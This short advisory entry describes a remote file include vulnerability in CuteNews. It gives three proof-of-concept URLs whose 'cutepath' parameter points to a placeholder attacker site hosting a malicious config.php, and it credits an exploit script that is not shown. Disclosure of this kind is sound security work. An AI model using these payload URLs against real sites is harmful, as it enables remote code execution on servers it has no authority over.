|
CuteNews Remote File Include Vulnerability
The following proof of examples were provided: http://www.example.com/cutenews/shownews.php?cutepath=http://<attacker_site>/config.php http://www.example.com/cutenews/search.php?cutepath=http://<attacker_site>/config.php http://www.example.com/cutenews/comments.php?cutepath=http://<attacker_site>/config.php An example of a malicious 'config.php' script (cutenews_exploit.php) was provided by Steve Grubb <linux_4ever@yahoo.com>: |
|
|
Privacy Statement |
